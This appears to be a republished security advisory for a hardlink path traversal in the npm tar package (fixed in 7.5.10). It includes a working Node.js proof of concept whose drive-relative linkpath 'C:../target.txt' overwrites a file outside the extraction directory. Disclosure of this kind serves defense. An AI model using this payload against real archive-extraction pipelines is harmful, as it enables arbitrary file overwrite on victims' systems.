tar has Hardlink Path Traversal via Drive-Relative Linkpath
Summary
tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.
What happens with linkpath: "C:../target.txt":
- Split on
/gives['C:..', 'target.txt'], soparts.includes('..')is false. stripAbsolutePath()removesC:and rewrites the value to../target.txt.- Hardlink creation resolves this against extraction
cwdand escapes one directory up. - Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.9.
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})Run:
cd test-workspace
node poc.cjs && ls -l ../target.txtObserved output:
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txtPWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | tar | < 7.5.10 | 7.5.10 |
Referencias
- Vector CVSS
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L- Debilidad (CWE)
CWE-22, CWE-59- Plataforma
- npm
- Paquete
tar- Publicada
- 05.03.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-qffp-2rhf-9h96 - CC BY 4.0
Historial de vulnerabilidades: tar
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 21
- Primera → última
- 10.2017 07.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 15
- Media 5
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 0
- 2021: 5
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 1
- 2026: 12
-
tar has Hardlink Path Traversal via Drive-Relative Linkpath esta entrada
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